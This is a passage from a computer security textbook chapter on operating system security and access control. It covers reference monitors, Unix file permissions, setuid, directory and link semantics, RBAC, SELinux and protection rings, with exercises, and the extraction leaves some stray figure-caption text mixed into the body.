[17] K. Gaarder and E. Snekkenes. Applying a formal analysis technique to the CCITT X.509 strong two-
way authentication protocol. Journal of Cryptology, 3(2):81–98, 1991.
122
References (Chapter 4) 123
[18] D. Gillmor. RFC 7919: Negotiated Finite Field Diffie-Hellman Ephemeral Parameters for Transport
Layer Security (TLS), Aug. 2016. Proposed Standard.
[19] L. Gong, T. M. A. Lomas, R. M. Needham, and J. H. Saltzer. Protecting poorly chosen secrets from
guessing attacks. IEEE J. Selected Areas in Commns, 11(5):648–656, 1993.
[20] P. A. Grassi et al. NIST Special Pub 800-63-3: Digital Identity Guidelines. U.S. Dept. of Commerce.
Jun 2017, supersedes [10]. Additional parts SP 800-63A: Enrollment and Identity Proofing, SP 800-
63B: Authentication and Lifecycle Management, SP 800-63C: Federation and Assertions.
[21] F. Hao. RFC 8236: J-PAKE—Password-Authenticated Key Exchange by Juggling, Sept. 2017. Infor-
mational.
[22] F. Hao and P. Ryan. Password authenticated key exchange by juggling. In 2008 Security Protocols
Workshop, pages 159–171. Springer LNCS 6615 (2011).
[23] F. Hao and P. Ryan. J-PAKE: Authenticated key exchange without PKI. Trans. Computational Science,
11:192–206, 2010. Springer LNCS 6480.
[24] F. Hao and S. F. Shahandashti. The SPEKE protocol revisited. In Security Standardisation Research
(SSR), pages 26–38, 2014. Springer LNCS 8893. See also: IEEE TIFS, 2018, “Analyzing and patching
SPEKE in ISO/IEC”.
[25] D. P. Jablon. Strong password-only authenticated key exchange. Computer Communication Review,
26(5):5–26, 1996.
[26] D. P. Jablon. Extended password key exchange protocols immune to dictionary attacks. In Workshop on
Enabling Technologies/Infrastructure for Collaborative Enterprises (WET-ICE), pages 248–255, 1997.
[27] C. Kaufman, R. Perlman, and M. Speciner. Network Security: Private Communications in a Public
World (2nd edition). Prentice Hall, 2003.
[28] A. Kumar, N. Saxena, G. Tsudik, and E. Uzun. Caveat emptor: A comparative study of secure device
pairing methods. In IEEE Pervasive Computing and Comm. (PerCom 2009), pages 1–10, 2009.
[29] L. Law, A. Menezes, M. Qu, J. A. Solinas, and S. A. Vanstone. An efficient protocol for authenticated
key agreement. Designs, Codes and Cryptography, 28(2):119–134, 2003.
[30] C. H. Lim and P. J. Lee. A key recovery attack on discrete log-based schemes using a prime order
subgroup. In CRYPTO, pages 249–263, 1997.
[31] S. Lucks. Open Key Exchange: How to defeat dictionary attacks without encrypting public keys. In
Security Protocols Workshop, pages 79–90, 1997.
[32] P. D. MacKenzie, S. Patel, and R. Swaminathan. Password-authenticated key exchange based on RSA.
In ASIACRYPT, pages 599–613, 2000.
[33] C. Mainka, V. Mladenov, J. Schwenk, and T. Wich. SoK: Single sign-on security—An evaluation of
OpenID Connect. In IEEE Eur. Symp. Security & Privacy, pages 251–266, 2017.
[34] A. J. Menezes, P. C. van Oorschot, and S. A. Vanstone. Handbook of Applied Cryptography. CRC
Press, 1996. Openly available, https://cacr.uwaterloo.ca/hac/.
[35] R. M. Needham and M. D. Schroeder. Using encryption for authentication in large networks of com-
puters. Comm. ACM, 21(12):993–999, 1978.
[36] B. C. Neuman and T. Ts’o. Kerberos: An authentication service for computer networks. IEEE Com-
munications Magazine, pages 33–38, Sept. 1994.
[37] C. Neuman, T. Yu, S. Hartman, and K. Raeburn. RFC 4120: The Kerberos Network Authentication
Service (V5), July 2005. Proposed Standard; obsoletes RFC 1510.
[38] A. Pashalidis and C. J. Mitchell. A taxonomy of single sign-on systems. In Australasian Conf. on Info.
Security & Privacy (ACISP), pages 249–264, 2003.
[39] S. Patel. Number theoretic attacks on secure password schemes. In IEEE Symp. Security and Privacy,
pages 236–247, 1997.
124 References (Chapter 4)
[40] C. Schnorr. Efficient signature generation by smart cards. Journal of Cryptology, 4(3):161–174, 1991.
[41] R. Shekh-Yusef, D. Ahrens, and S. Bremer. RFC 7616: HTTP Digest Access Authentication, Sept.
2015. Proposed Standard. Obsoletes RFC 2617.
[42] M. Steiner, G. Tsudik, and M. Waidner. Refinement and extension of encrypted key exchange. ACM
Operating Sys. Review, 29(3):22–30, 1995.
[43] L. Valenta, D. Adrian, A. Sanso, S. Cohney, J. Fried, M. Hastings, J. A. Halderman, and N. Heninger.
Measuring small subgroup attacks against Diffie-Hellman. In Netw. Dist. Sys. Security (NDSS), 2017.
[44] P. C. van Oorschot. Extending cryptographic logics of belief to key agreement protocols. In ACM
Comp. & Comm. Security (CCS), pages 232–243, 1993.
[45] P. C. van Oorschot and M. J. Wiener. On Diffie-Hellman key agreement with short exponents. In
EUROCRYPT, pages 332–343, 1996.
[46] P. C. van Oorschot and M. J. Wiener. Parallel collision search with cryptanalytic applications. Journal
of Cryptology, 12(1):1–28, 1999.
[47] R. Wang, S. Chen, and X. Wang. Signing me onto your accounts through Facebook and Google: A
traffic-guided security study of commercially deployed single-sign-on web services. In IEEE Symp.
Security and Privacy, pages 365–379, 2012.
[48] T. Wu. RFC 2945: The SRP Authentication and Key Exchange System, Sept. 2000. RFC 2944 (Telnet)
and RFC 5054 (TLS) rely on SRP; see also Stanford SRP Homepage, http://srp.stanford.edu/.
[49] T. D. Wu. The secure remote password protocol. In Netw. Dist. Sys. Security (NDSS), 1998.
[50] T. D. Wu. A real-world analysis of Kerberos password security. In Netw. Dist. Sys. Security (NDSS),
1999.
[51] R. Zuccherato. RFC 2785: Methods for Avoiding the “Small-Subgroup” Attacks on the Diffie-Hellman
Key Agreement Method for S/MIME, Mar. 2000. Informational.
Computer Security and the Internet: Tools and Jewels (2e)
Chapter 5
Operating System Security and Access Control
Copyright
2020-2022
c Paul C. van Oorschot. Under publishing license to Springer.
Mass-produced computers emerged in the 1950s. 1960s time-sharing systems brought se-
curity requirements into focus. 1965-1975 was the golden design age for operating system
(OS) protection mechanisms, hardware protection features and address translation. While
the threat environment was simpler—e.g., computer networks were largely non-existent,
and the number of software authors and programs was far smaller—many challenges were
the same as those we face today: maintaining separation of processes while selectively al-
lowing sharing of resources, protecting programs from others on the same machine, and
restricting access to resources. “Protection” largely meant controlling access to mem-
ory locations. This is more powerful than it first appears. Since both data and programs
are stored in memory, this controls access to running processes; input/output devices and
communications channels are also accessed through memory addresses and files. As files
are simply logical units of data in primary memory and secondary storage, access control
of memory and files provides a general basis for access control of objects and devices.
Initially, protection meant limiting memory addresses accessible to processes, in con-
junction with early virtual memory address translation, and access control lists were devel-
oped to enable resource sharing. These remain protection fundamentals. Learning about
such protection in operating systems provides a solid basis for understanding computer
security. Aside from Unix, we base our discussion in large part on Multics; its segmented
virtual addressing, access control, and protection rings heavily influenced later systems.
Providing security-related details of all major operating systems is not our goal—rather,
considering features of a few specific, real systems allows a coherent coverage highlight-
ing principles and exposing core issues important in any system design. Unix of course has
many flavors and cousins including Linux, making it a good choice. Regarding Multics,
security influenced it from early design (1964-67) through later commercial availability.
It remains among the most carefully engineered commercial systems ever built; an invalu-
able learning resource and distinguishing feature over both early and modern systems is
its rich and detailed technical literature explaining both its motivation and design.
126
5.1. Memory protection, supervisor mode, and accountability 127
2 Section 5.9 defines subject (principal) more precisely, and the relationship to processes and domains.
130 Chapter 5. Operating System Security and Access Control
internally) when acting in a role requiring the privileges of a different domain; abstractly,
distinct UIDs are considered distinct principals. Use of the same username by several
users is generally frowned upon as poor security hygiene, hindering accountability among
other drawbacks. To share resources, a preferred alternative is to use protection groups as
discussed in Section 5.3. Section 5.7 discusses role-based access control (RBAC).
Policy
access not
permi@ed Object1
✗
request access Reference permi@ed Object2
Subject by policy
to object monitor
✗ Object3
Figure 5.3: Reference monitor model. The policy check consults an access control policy.
ACCESS MATRIX . The reference monitor is a subject-object model. A subject (or
Ch.5, Fig.3. Reference monitor model. The policy check may involve, e.g.,
principal, above) is a system entity that may request access to a system object. An object
consul>ng an access control matrix.
is any item that a subject may request to use or alter—e.g., active processes, memory
addresses or segments, code and data (pages in main memory, swapped pages, files in
secondary memory), peripheral devices such as terminals and printers (often involving
input/output, memory or media), and privileged instructions.
In the model, a system first identifies all subjects and objects. For each object, the
types of access (access attributes) are determined, each corresponding to an access per-
mission or privilege. Then for each subject-object pair, the system predefines the autho-
rized access permissions of that subject to that object. Examples of types of access are
read or write for a data item or memory address, execute for code, wakeup or terminate
for a process, search for a directory, and delete for a file. The authorization of privileges
across subjects and objects is modeled as an access matrix with rows i indexed by subjects,
columns j by objects, and entries A(i, j), called access control entries (ACEs), specifying
access permissions subject i has to object j (Fig. 5.4). The ACE will typically contain a
collection of permissions, but we may for ease of discussion refer to the entry as a single
permission with value z, and if A(i, j) = z then say that subject i has z-access to object j.
R EFERENCE MONITOR IMPLEMENTATION . The reference monitor model is im-
5.2. The reference monitor, access matrix, and security kernel 131
column j
Objects
O1 O2 ... Oj ...
Subjects
S1 RW
S2 R
...
row i Si Ai, j
(a)
...
(b)
Figure 5.4: Access control matrix. A(i, j) is an ACE specifying the permissions that
subject i has on object j. (a) Row i can be used to build a capabilities list (C-list) for
subject i. (b) Column j can be used to build an access control list (ACL) for object j. The
access matrix itself is policy-independent; the access control policy is determined by the
Ch.5, Fig.4. Access control matrix.
permission content specified in matrix entries, not the matrix structure.
a guard at the door does an identity check, e.g., using photo ID cards in the physical world,
and any entity whose identity is verified and on an authorized list is allowed access. Ca-
pabilities (tickets) are held by subjects; authorization lists (based on identity) are held by
an object’s guard. Tickets must be unforgeable; identities must be unspoofable.
‡Exercise (Implementing capabilities). To prevent unauthorized copying or tamper-
ing of capabilities by users, capability systems may be implemented using different op-
tions. a) Maintain data structures for capabilities in OS (kernel) memory. b) Maintain
data structures for capabilities in user memory, but with tamper protection by a message
authentication code (MAC) or equivalent. c) Rely on hardware support (one scheme uses
kernel-controlled tag bits designating memory words that hold capabilities). Explain fur-
ther details for each of these mechanism approaches. (Hint: [35]; see also [38].)
‡Exercise (Access control and USB drives). When a USB flash drive is inserted into
a personal computer, which system accounts or processes are given access to the content
on this storage device? When files are copied from the USB drive into the filesystem of an
account on the host, what file permissions result on the copied files (assume a Unix-type
system)? Discuss possible system choices and their implications.
BASIS FOR AUDIT TRAILS . The basic reference monitor idea of mediating every
access provides a natural basis from which to build fine-grained audit trails. Audit logs
support not only debugging and accountability, but intruder detection and forensic inves-
tigations. Whether or not audit records must be tamper-proof depends on intended use.
‡Exercise (Access control through encryption and key release). Access control to
documents can be implemented through web servers and encryption. Give a technical
overview of one such architecture, including how it supports an audit trail indicating ac-
cess times and subjects who access documents. (Hint: [11].)
permissions to the printer are “file permissions”. Thus the study of file permissions gener-
alizes to access control on resources. This explains why file permissions are a main focus
when access control is taught.
ACL ALTERNATIVES . The simple permission mechanisms in early systems pro-
vided basic functionality. Operating systems commonly now support ACLs (Section 5.2)
for system objects including files. ACLs are powerful and offer fine-grained precision—
but also have disadvantages. ACLs can be as long as the list of system principals, con-
suming memory and search time; ACLs may need frequent updates; listing all principals
requiring access to a file can be tedious. A less expressive alternative, the ugo architec-
ture, became popular long ago, and remains widely used; we discuss it after background
on file ownership. Section 5.7 discusses a further alternative: role-based access control.
F ILE OWNER AND GROUP. Unix-based systems assign to each file an owner and
a protection group, respectively identified by two numeric values: a userid (UID) and a
groupid (GID). Initial values are set on file creation—in the simplest case, using the UID
and GID of the creating process. Where are these from? The login username for each
account indexes an entry in world-readable Unix file /etc/passwd, of the form:
username:*:UID:GID:fullname or info:home dir:default shell
Here GID identifies the primary group for this username. The * is where the pass-
word hash, salt, and related information was historically stored; it is now typically in
/etc/shadow, readable only by root. Group memberships are defined in a distinct file,
/etc/group, each line of which lists a groupname (analogous to a username), a GID, and
the usernames of all group members.
S UPERUSER VS . ROOT. Other than for login, the system uses UID for access control,
not username. Superuser means a process running with UID=0; such a process is granted
access to all file resources, independent of protection settings. The username convention-
ally associated with UID=0 is “root”, but technically the string “root” could be assigned
to other UIDs. It is the UID value of 0, not the string name, that determines permissions.
Within this book we will assume root is synonymous with superuser (UID=0).
USER - GROUP - OTHERS MODEL . We can now explain the base architecture for Unix
file permissions.6 The ugo permission model assigns privileges based on three categories
of principals: (user, group, others). The user category refers to the principal that is
the file owner. The group category enables sharing of resources among small to medium-
sized sets of users (say, project groups), with relatively simple permissions management.
The third category, others, is the universal or world group for “everyone else”. It defines
permissions for all users not addressed by the first two categories—as a means to grant
non-empty file permissions to users who are neither the file owner nor in the file’s group.
This provides a compact and efficient way to handle an object for which many (but not all)
users should be given the same privileges. This ugo model allows fixed-size filesystem
meta-data entries, and saves storage and processing time. Whereas ACLs may involve
arbitrary-length lists, here permission checking involves bit-operations on sets of just three
categories of principals; the downside is a significant loss in expressiveness.
6 This may be viewed as supporting principle P4 (COMPLETE - MEDIATION).
5.3. Object permissions and file-based access control 135
Ch.5. Symbolic nota1on for \unix{} file permissions (e.g., from ``ls – l”). % long format
M ETA - DATA AND FILE PERMISSIONS . The above user-group-others mechanism
User is also ``owner”. Other may be called ``all” or ``world”. t-bit is also ``s1cky bit”.
is supported by a per-file filesystem data structure, which also holds other “accounting
Cf. Table 5.2. s turns to S if x-bit is ``-” (this is not a useful combina1on since setuid and
details” related to a file, such as the address of the file contents. A commonly used such
datasetgid have no effect without x).
structure contains the following protection-related fields:7
1) user: indicating the userid (UID) of the file owner.
2) group: indicating the groupid (GID) of the file.
3) 9 bits: 3 protection bits for each of (user, group, others) as shown in Fig. 5.5.
For regular files, their meaning is fairly straightforward, as follows.
R (read): the file content may be read.
W (write): an existing file’s content may be modified.
X (execute): a binary file may be run. To run a shell script requires R to read the
file plus X. For a non-executable file, X is not useful (execution fails).
4) 3 bits: special protection bits setuid, setgid, t-bit (Sections 5.4 and 5.5).
U SE OF PROTECTION BITS . When a user process requests access to a file, the system
checks whether the process has the requested access privilege, based on the permissions
in this data structure. The checks are made in sequence: user, group, others. The first
qualifying category determines privileges. For a process that seeks R access and is the file
owner, if the user category does not grant R, the request fails even if others grants R.
P ERMISSION DISPLAY NOTATION . A common visual display format for file per-
missions is a 10-character string, such as -rwxr-xr-- (Table 5.1). The first character
conveys file type—a leading dash indicates a non-directory file. The next nine characters,
in groups of three, convey permissions for the ugo categories in order. A substring rwx
corresponds to binary 111 indicating read, write and execute, while a dash “-” conveys a
0-bit denoting that the corresponding permission is absent. Additional permissions can be
overlaid onto these ten characters, as shown in Figure 5.5.
P ROTECTION BIT INITIAL VALUES ( NON - DIRECTORY FILES ). A file’s 9 RWX
bits are set at file creation using a 12-bit mode parameter (with the 3 special bits) provided
to the syscall used to create the file. The requested RWX bits are post-modified by the
creator’s 9-bit file creation “unset” mask (umask), typically defined in a user startup file; a
child process inherits its parent’s umask. The mask’s positional 1-bits specify permissions
to turn off or remove (if present). For example for regular files—using octal format, with
7 This is based on the Unix inode (index-node), to illustrate concepts concretely in this section. Other
inode fields unrelated to permissions indicate: file size, last-modified time, number (link count) of directory
entries that link to the file, and fields to signal whether the file is a directory or special Unix I/O device file.
136 Chapter 5. Operating System Security and Access Control
one octal digit for each 3-bit RWX group (Table 5.1)—a common permissions default 666
(RW for all categories), and common mask of 022 (removing W from group and others),
yield a combined initial permission string 644 (RW for user, R only for group and others).
Example (group permissions). Suppose a group identifier accounting is set up to
include userA, userB and userC, and a group executives to include userC, userD and
userE. Then userC will have, e.g., RX access to any file-based resource if the file’s group
is accounting or executives, and the file’s group permissions are also RX.
Exercise (setting/modifying file permissions). The initial value of a Unix mask can
be modified where set in a user startup file, or later by the umask command. (a) Ex-
periment to discover default file permissions on your system by creating a new file with
the command touch, and examining its permissions with ls -l. Change your mask set-
ting (restore it afterwards!) using umask and create a few more files to see the effect.
(b) The command chmod allows the file owner to change a file’s 9-bit protection mode.
Summarize its functionality for a specific flavor of Unix or Linux.
Exercise (modifying file owner and group). Unix commands for modifying file at-
tributes include chown (change owner of file) and chgrp (change a file’s group). Some
systems allow file ownership changes only by superuser; others allow a file owner to
chown their owned files to any other user. Some systems allow a file owner to change the
file’s group to any group that the file owner belongs to; others allow any group whatsoever.
Summarize the functionality and syntax of these commands for a chosen Unix flavor.
Exercise (access control in swapped memory). Paging is common in computer sys-
tems, with data in main memory temporarily stored to secondary memory (“swapped to
disk”). What protection mechanisms apply to swapped memory? Discuss.
F ILE PERMISSIONS AUGMENTED BY ACL S . The ugo permission architecture
above is often augmented by ACLs (Section 5.2). On access requests, the OS then checks
whether the associated UID is in an ACL entry with appropriate permissions.
Exercise (file ACL commands). For a chosen Unix-type system (specify the OS ver-
sion), summarize the design of file ACL protection. In particular, explain what informa-
tion is provided by the command getfacl, and the syntax for the setfacl command.
5.4. Setuid bit and effective userid (eUID) 137
library calls,10 to the specified executable, which continues with the child’s PID and also
inherits its userids (rUID, eUID, sUID) except when the executable is setuid.
Example (userids and login). The Unix command login results in a process running
the root-owned setuid program /bin/login, which prompts for a username-password, does
password verification, sets its process UID and GID to the values specified in the verified
user’s password file entry, and after various other initializations yields control by execut-
ing the user’s declared shell. The shell inherits the UID and GID of this parent process.
D ISPLAYING SETUID AND SETGID BITS . If a file’s setuid or setgid bit is set,
this is displayed in 10-character notation by changing the user or group execute letter as
follows (Figure 5.5): an x changes to s, or a “-” changes to S. The latter conveys status, but
is not useful—setuid, setgid have no effect without execute permission. So -rwsr-xr-x
indicates a file executable by all, with setuid bit set; and -rwSr--r-- indicates a file is
setuid, but not executable (which is not useful; the unusual capital S signals this).
‡Exercise (setuid). Explain how the setuid functionality is of use for user access to
a printer daemon, and what general risks setuid creates. (Chapter 6 discusses privilege
escalation related to setuid programs in greater detail.)
of files therein (they have their own permissions), nor their meta-data.
W: the user may alter (edit) directory content—provided X permission is also held.
W (with X) allows renaming or deleting filename entries, and creating new entries
(by creating a new file, or linking to an existing file as explained in Section 5.6);
the system will modify, remove, or newly add a corresponding dir-entry. Thus
removing a file reference (entry) from a directory requires not W permission on the
target file, but W (with X) on the referencing directory.
X: the user may traverse and “search” the directory. This includes setting it as the
working directory for filesystem references; path-access11 to the directory’s listed
files; and access to their inode meta-data, e.g., by commands like find. Lack of X
on a directory denies path-access to its files, independent of permissions on those
files themselves; their filenames (as directory content) remain listable if R is held.
setuid: this bit typically has no meaning for directory files in Unix and Linux.
setgid: if set, the group value initially assigned to a newly created (non-directory or di-
rectory) file is the GID of its directory (rather than the GID of the creating process);
a newly created sub-directory in addition inherits the directory’s setgid bit. The
aim is to make group sharing of files easier, by setting a directory’s setgid bit.
t-bit: (text or sticky bit) this bit set on a directory prevents deletion or renaming of files
therein owned by other users. The directory owner and root can still delete files.
For non-directory files, the t-bit is now little used (its original use is obsolete).
S TICKY BIT. A primary use of the t-bit is on world-writable directories, e.g., /tmp.
An attack could otherwise remove and replace a file with a malicious one of the same
filename. When set, a t replaces x in position 10 of symbolic display strings (Fig. 5.5).
Example (Directory permissions). In Fig. 5.6, curry and durant are entries in Warriors.
Path-access to Warriors, including X on the inode it references (Warriors inode), is needed
to make this the current directory (via cd) or access any files below it. R on Warriors inode
allows visibility of filenames curry and durant (e.g., via ls). X on Warriors inode allows
access to the meta-data of curry and durant (e.g., via ls -l or find), but to read their
content requires R on these target file inodes (plus X on Warriors inode, in order to get to
them). In summary: access to a file’s name (which is a directory entry), properties (inode
meta-data including permissions), and content are three distinct items. Access to a (dir or
non-dir) file’s meta-data requires path-access (X) on the inode holding the meta-data, and
is distinct from RWX permission on the file content referenced by the inode.
W ORLD - WRITABLE FILES . Some files are writable by all users (world-writable).
This is indicated by w in the second-last character for a display string such as -rwxrwxrwx.
The leading dash indicates a non-directory (regular) file. Some files should not be world-
writable, e.g., a startup file (a script file invoked at startup of a login program, shell,
editor, mail or other executable), lest an attack modify it to invoke a malicious program
11 By Unix path-based permissions, to read a file’s content requires X on all directories on a path to it plus
R on the file; path-access does not require R on directories along the path if the filename is already known.
140 Chapter 5. Operating System Security and Access Control
“/” datablock
filesystem “.”
root node “..”
“/” inode
“NBAeast”
“NBAwest”
...
inode inode
“Spurs”
“Warriors”
Warriors datablock
(dir file)
“.”
pathlink1 Warriors “..” pathlink2
inode “curry”
inodes & datablocks for “durant”
files “Lakers” and “Spurs” “thompson”
Figure 5.6: Directory structure and example (Unix filesystem with inodes). See inline
Ch.5, Fig.5. Directory structure and example.
discussion regarding the roles of pathlink1 and pathlink2. Compare to Fig. 5.7.
PPT: no-shadow, 0.75 solid lines, 1.0 doBed lines,
on each startup. Ashape->freeform->hold down CTRL for straight segments,
world-writable root-owned setuid executable is spectacularly bad—
click to drop a corner, double-click to end
any process could replace the contents with a malicious file, which would run with root
privileges regardless of who invoked it. (Chapter 6 has a further example on this topic.)
‡Exercise (finding world-writable files). The Unix find command can search for files
with specific properties, including permissions. Explore your own system for world-
writable files using: find /users/yourhome -perm -2 -print (replace /users/yourhome
with a directory to explore; start at one with a relatively small subtree, as the output is of-
ten extensive). The search will be denied access to directories that you lack X permission
for; the command will continue with the next directory in a recursive tree search.
‡Example (inode details). The following, and Figure 5.6, explain the internal ac-
tions that occur in creating a new directory node, and provide a detailed example of the
filesystem (directory) structure summarized above. This may help in understanding how
5.5. Directory permissions and inode-based example 141
like ls -l. (Note: on a Mac system, to get a command interpreter shell to the underlying
Unix system, run the Terminal utility, often found in Applications/Utilities.)
Exercise (access control outside of filesystem). Suppose a copy of a filesystem’s data
(as in Figure 5.6) is backed up on secondary storage or copied to a new machine. You
build customized software tools to explore this data. Are your tools constrained by the
permission bits in the relevant inode structures? Explain.
‡Exercise (chroot jails). A chroot jail provides modest isolation protection, support-
ing principle P5 (ISOLATED - COMPARTMENTS) through restricted filesystem visibility. It
does so using the Unix system call chroot(), whose argument becomes the filesystem root
(“/”) of the calling process. Files outside this subsystem are inaccessible to the process.
This restricts resources and limits damage in the case of compromise. Common uses in-
clude for network daemons and guest users. a) Summarize the limitations of chroot jails.
b) Describe why the newer jail() is preferred, and how it works. (Hint: [17].)
a file object whose directory entry references the inode for existing. Since a file’s name
is not part of the file itself, distinct directory entries (here, now two) may name the file
differently. Also, this same command syntax may allow a directory-file to be hardlinked
(i.e., existing may be a directory), although for technical reasons, hardlinking a directory
is usually discouraged or disallowed (due to issues related to directory loops).
Example (Symlink). For a symlink the -s option is used: ln -s existing new2
results in a dir-entry for an item assigned the name new2 but in this case it references a
new inode, of file type symlink, whose datablock provides a symbolic name representing
the object existing, e.g., its ASCII pathname string. When new2 is referenced, the filesys-
file content
Pre-exisAng dir-entry1: “chezpan”
for file pathname /users/chezpan inode
datablock
(a) dir-entry2: “new1” hardlink
Results from (ptr to an inode)
ln /users/chezpan new1
soOlink (symlink)
via dir-entry1
Figure 5.8: Comparison of (a) hardlink, and (b) symbolic link. A symbolic link can be
thought of as a file whose datablock itself points to another file.
Ch.5, Fig.7. Hard link vs. symbolic link.
tem uses this symbolic name to find the inode for existing. If the file is no longer reachable
by pathname existing (e.g., its path or that directory entry itself is changed due to renam-
ing, removed because the file is moved, or deleted from that directory), the symbolic link
will fail, while a hardlink still works. Examining Figure 5.8 may help clarify this.
D ELETING LINKS AND FILES . “Deleting” a file removes the filename from a direc-
tory’s list, but the file itself (inode and datablock) is removed from the filesystem only if
this was the last directory entry referencing the file’s inode.12 Figures 5.8 and 5.9 con-
sider the impact of deletion with different types of links. Deleting a symlink file (e.g.,
new2 directory entry in Fig. 5.8) does not delete the referred-to “file content”. Deleting
a hardlinked file by specifying a particular dir-entry eliminates that directory entry,
but the file content (including inode) is deleted only when its link count (the number of
hardlinks referencing the inode) drops to zero. While at first confusing, this follows di-
rectly from the filesystem design: an inode itself does not “live” in any directory but rather
exists independently; directory entries simply organize inodes into a structure.
permissions
object
subject role
opera@ons
Figure 5.10: Role-based access control (RBAC) model. A user, represented as a subject,
is pre-assigned one or more roles by an administrator. The administrator also assigns
permissions to each role. For each login session, a subset of roles is activated for the user.
Ch.5, Fig.3. RBAC. A user is represented as a subject, and for each login session one
the role GrantManager is assigned read access to files for department member grants. A
or more roles, which are pre-assigned to a subject is ac@vated. RBAC reference
new staff member Alex who is assigned both these roles will then acquire both sets of per-
model: subject, object (opera@on on), permissions, roles. An administrator
missions. When Alex moves to another department and Corey takes over, Corey gets the
associates permissions with each role.
same permissions by being assigned these two roles; if individual file-based permissions
were used, a longer list of individual permissions might have to be reassigned. Roles may
be hierarchically defined, e.g., so that a SeniorManager role is the union of all roles en-
joyed by junior managers, plus some roles specific to the higher position. RBAC system
administrators make design choices as to which tasks (and corresponding permissions)
are associated with different job functions, and define roles accordingly.
M-AC AND SEL INUX . The remainder of this section introduces efforts related to
SELinux: the Flask operating system architecture on which it was built, the Linux Security
Module framework that provides support for it (and other M-AC approaches) within Linux,
and the SEAndroid version of it for the Google Android OS.
‡Exercise (Flask). The Flask security architecture was designed as a prototype during
the 1990s to demonstrate that a commodity OS could support a wide range of (mandatory)
access control policies. a) Summarize the motivation and goals of Flask. b) Describe the
Flask architecture, including a diagram showing how its Client, Object Manager, and
Security Server interact. c) Explain Flask object labeling (include a diagram), and how
the data types security context and security identifier (SID) fit in. (Hint: [34].)
‡Exercise (SELinux). Security-Enhanced Linux (SELinux) is a modified version of
Linux built on the Flask architecture and its use of security labels. SELinux supports
mandatory security policies and enforcement of M-AC policies across all processes. It
was originally integrated into Linux as a kernel patch, and reimplemented as an LSM
(below). a) Summarize details of the SELinux implementation of the Flask architecture,
including the role security labels play and how they are supported. b) Describe the secu-
rity mechanisms provided by SELinux, including mandatory access controls for process
management, filesystem objects, and sockets. c) Describe the SELinux API. d) Give an
overview of the SELinux example security policy configuration that serves as a customiz-
able foundation from which to build other policy specifications. (Hint: [22].)
‡Exercise (LSMs). Linux Security Modules (LSMs) are a general framework by
which the Linux kernel can support, and enforce, diverse advanced access control ap-
proaches including SELinux. This is done by exposing kernel abstractions and operations
146 Chapter 5. Operating System Security and Access Control
a) Concentric rings
n-1 b) Segment Descriptor (basic ring-num)
...
2 physical seg
1 ring-num
ring 0 start addr length
(strongest)
c) Program Counter with ring number
PC procedure word
ring-num segment S number W
Figure 5.11: Protection rings and supporting descriptors. To support protection rings,
ring numbers are added to segment descriptors and to the program counter.
5.8. ‡Protection rings: isolation meets finer-grained sharing 147
having high privileges may be confusing, we also use the terms stronger (inner) rings and
weaker (outer) rings. We add to every segment descriptor (Section 5.1) a new ring-num
field (ring number) per Figure 5.11b, and to the CPU Program Counter (instruction ad-
dress register) a PCring-num for the ring number of the executing process, per Fig. 5.11c.
For access control functionality, we associate with each segment an access bracket (n1 , n2 )
denoting a range of consecutive rings, used as explained below.
P ROCEDURE SEGMENT ACCESS BRACKETS . A user process may desire to transfer
control to programs designed to execute in stronger rings (e.g., for privileged functions,
such as input-output functions, or to change permissions to a segment’s access control list
in supervisor memory); or weaker rings (e.g., for simple shared services). A user process
P1 may wish to allow another user’s process P2 , operating in a weaker ring, access to data
memory in P1 ’s ring, but only under the condition that such access is through a program
(segment) provided by P1 , and verified to have been accessed at a pre-authorized entry
point, specified by a memory address. Rings allow this, but now transfers that change
rings (cross-ring transfers) require extra checks. In the simple “within-bracket” case,
a calling process P1 executing in ring i requests a transfer to procedure segment P2 with
access bracket (n1 , n2 ) and n1 ≤ i ≤ n2 . Transfer is allowed, without any change of control
ring (PCring-num remains i).13 The more complicated “out-of-bracket” case is when i is
outside P2 ’s access bracket. Such transfer requests trigger a fault; control goes to the
supervisor to sort out, as discussed next.
P ROCEDURE SEGMENT GATE EXTENSION . Suppose a process in ring i > n2 at-
tempts transfer to a stronger ring bracketed (n1 , n2 ). Processes are not generally permitted
to call stronger-ring programs, but to allow flexibility, the design includes a parameter,
n3 , designating a gate extension for a triple (n1 , n2 , n3 ). For case n2 < i ≤ n3 , a transfer
request is now allowed, but only to pre-specified entry points. A list (gate list) of such en-
try points is specified by any procedure segment to be reachable by this means. So i > n2
triggers a fault and a software fault handler handles case n2 < i ≤ n3 . The imagery is that
gates are needed to cross rings, mediated by gatekeeper software as summarized next.
R ING GATEKEEPER MEDIATION . When a ring-i process P1 requests transfer to
procedure segment P2 having ring bracket (n1 , n2 , n3 ), a mediation occurs per Table 5.2.
The domain of a process—introduced in Section 5.1 as the permission set associated with
the objects a process can access—can change over time. When a Unix process calls a root-
owned setuid program it retains its process identifier (PID), but temporarily runs with a
different eUID, acquiring different access privileges. Viewing the domain as a room, the
objects in the room are accessible to the subject; when the subject changes rooms, the
accessible objects change. For a more precise definition of protection domain D , the ring
system and segmented virtual addressing of Multics can be used as a basis. We define the
domain of a subject S = (P , D ) associated with process P as
D = (r, T )
Here r is the execution ring of the segment g that P is running in, and T is P ’s descriptor
segment table containing segment descriptors (including for g), each including access
indicators. This yields a more detailed description of a subject as
S = (P , r, T ) = (processID, ring-number, descriptor-seg-ptr)
N OTES . These definitions for subject and domain lead to the following observations.
1) A change of execution ring changes the domain, and thus the privileges associated
with a subject S. At any specific execution point, a process operates in one domain or
context; privileges change with context (mode or ring).
2) A transfer of control to a different segment, but within the same ring (same process,
same descriptor segment), changes neither the domain nor the subject.
3) Access bracket entry points specify allowed, gatekeeper-enforced domain changes.
4) Virtual address translation maps constrain physical memory accessible to a domain.
5) A system with n protection rings defines a strictly ordered set of n protection domains,
D (i) = (i, T ), 0 ≤ i ≤ n − 1. Associating these with a process P and its fixed descriptor
segment defined by T , defines a set of subjects (P , 0, T ), ..., (P , n − 1, T ).
6) Informally, C-lists (Section 5.2) define the environment of a process. Equating C-lists
with domains allows substitution in the definition S = (P , D ).
Exercise (Ring changes vs. switching userid). It is recommended that distinct accounts
be set up on commodity computers to separate regular user and administrative activities.
Tasks requiring superuser privileges employ the administrative account. Discuss how this
compares, from an OS viewpoint, to a process changing domains by changing rings.
H ARDWARE - SUPPORTED CPU MODES UNUSED BY SOFTWARE . Many comput-
ers in use run operating systems supporting only two CPU modes (supervisor, user) de-
spite hardware support for more—thus available hardware support for rings goes unused
(Figure 5.13). Why so? If an OS vendor seeks maximum market share via deployment
